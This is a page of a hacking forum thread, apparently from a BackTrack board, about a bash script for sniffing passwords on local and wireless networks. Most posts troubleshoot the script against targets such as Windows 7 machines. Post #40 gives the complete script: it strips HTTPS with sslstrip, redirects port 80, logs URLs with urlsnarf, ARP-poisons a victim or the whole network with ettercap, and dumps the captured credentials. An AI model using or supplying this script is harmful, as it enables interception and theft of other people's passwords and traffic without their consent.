Page 4 of 5 FirstFirst ... 2345 LastLast
Results 31 to 40 of 45

Thread: Script for sniffing passwords and data on lan/wlan using ettercap, sslstrip, urlsnarf

  1. #31
    Just burned his ISO
    Join Date
    Nov 2010
    Posts
    8

    Default Re: Script for sniffing passwords and data on lan/wlan using ettercap, sslstrip, urls

    Great script, I tried with vmware on a Mac and it works like a charm on a XP, and another Mac, but when I do against a Windows 7 it just won't work, loading the pages takes forever..I assume it is because the Firewire on Windows 7, I have already turned off the firewall in the router...is there anything I can do against the Firewire on windows?...can Ettercap attack Windows 7?

    thanks a lot!!!

  2. #32
    Just burned his ISO
    Join Date
    Jan 2011
    Posts
    1

    Default Re: Script for sniffing passwords and data on lan/wlan using ettercap, sslstrip, urls

    Why doesn't the script save the captured passwords to file? All I get is some output when I (q)uit .
    And the extracting images is not working.

  3. #33
    Member
    Join Date
    Jan 2010
    Location
    Netherlands
    Posts
    84

    Default Re: Script for sniffing passwords and data on lan/wlan using ettercap, sslstrip, urls

    Thanks for this script, nice work!

    But when I want to quite, using 'q' (without the' ' offcourse) it wont quite? How come?

  4. #34
    Just burned his ISO
    Join Date
    Jan 2011
    Posts
    20

    Default Re: Script for sniffing passwords and data on lan/wlan using ettercap, sslstrip, urls

    noob question: is it true that you can ARP over WLAN instead of LAN?

  5. #35
    Member
    Join Date
    Jan 2010
    Location
    Netherlands
    Posts
    84

    Default Re: Script for sniffing passwords and data on lan/wlan using ettercap, sslstrip, urls

    Quote Originally Posted by ryannathans View Post
    noob question: is it true that you can ARP over WLAN instead of LAN?
    yes you can

  6. #36
    Just burned his ISO
    Join Date
    Jan 2011
    Posts
    20

    Default Re: Script for sniffing passwords and data on lan/wlan using ettercap, sslstrip, urls

    installed tcpxtract then ran the script.


    getting errors on this line: "$XTRACT"tcpxtract -f /root/$SESSION/$SESSION.pcap

    running script as root...

    anyone else got this problem?

  7. #37
    Member
    Join Date
    Jan 2010
    Location
    Netherlands
    Posts
    84

    Default Re: Script for sniffing passwords and data on lan/wlan using ettercap, sslstrip, urls

    Yes tcpxtract isn't working out of the box, you need to mod some stuff

  8. #38
    Just burned his ISO
    Join Date
    Jan 2011
    Posts
    20

    Default Re: Script for sniffing passwords and data on lan/wlan using ettercap, sslstrip, urls

    Quote Originally Posted by nivong View Post
    Yes tcpxtract isn't working out of the box, you need to mod some stuff
    are you willing to help
    ?

  9. #39
    Just burned his ISO
    Join Date
    Mar 2011
    Posts
    6

    Default Riferimento: Script for sniffing passwords and data on lan/wlan using ettercap, sslst

    Hi,

    I have done what you told, and when I run script wireshark starts and run the program. But where can I find the log files and how can I analyze it ? For example i copied the script file to x folder and i finish with there is no new log file in the same folder ?

  10. #40
    Member jenbo's Avatar
    Join Date
    Jan 2008
    Posts
    70

    Default Re: Script for sniffing passwords and data on lan/wlan using ettercap, sslstrip, urls

    #!/bin/bash
    echo -n "Do you want to execute Wireshark when done? If yes, LEAVE BLANK "
    read -e NOYES
    echo -n "Do you want to extract pictures from the pcap via tcpxtract? If yes, LEAVE BLANK "
    read -e XTRACT
    echo -n "What interface to use? ie wlan0: "
    read -e IFACE
    echo -n "Name of "Session"? (name of the folder that will be created with all the log files): "
    read -e SESSION
    echo -n "Gateway IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: "
    read -e ROUTER
    echo -n "Target IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: "
    read -e VICTIM
    mkdir /root/$SESSION/
    iptables --flush
    iptables --table nat --flush
    iptables --delete-chain
    iptables --table nat --delete-chain
    sslstrip -p -k -w /root/$SESSION/$SESSION.log &
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
    urlsnarf -i $IFACE | grep http > /root/$SESSION/$SESSION.txt &
    ettercap -T -i $IFACE -w /root/$SESSION/$SESSION.pcap -L /root/$SESSION/$SESSION -M arp /$ROUTER/ /$VICTIM/
    "$XTRACT"tcpxtract -f /root/$SESSION/$SESSION.pcap
    "$NOYES"wireshark &
    killall sslstrip
    killall python
    killall urlsnarf
    iptables --flush
    iptables --table nat --flush
    iptables --delete-chain
    iptables --table nat --delete-chain
    etterlog -p -i /root/$SESSION/$SESSION.eci

Page 4 of 5 FirstFirst ... 2345 LastLast

Similar Threads

  1. cannot driftnet, ettercap, or urlsnarf!
    By xplainet in forum OLD BackTrack 4 General Support
    Replies: 1
    Last Post: 03-29-2010, 08:45 AM
  2. sniffing passwords and hashes from a wireless network
    By kalgecin in forum OLD Wireless
    Replies: 10
    Last Post: 02-14-2010, 04:24 AM
  3. Replies: 8
    Last Post: 11-26-2009, 08:09 AM
  4. Sniffing domain passwords?
    By ESC201 in forum OLD Specialist Topics
    Replies: 6
    Last Post: 01-30-2008, 01:32 AM
  5. ettercap - sniffing works, but I can't see passwords
    By Trick17 in forum OLD BackTrack v2.0 Final
    Replies: 6
    Last Post: 08-29-2007, 09:09 AM

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •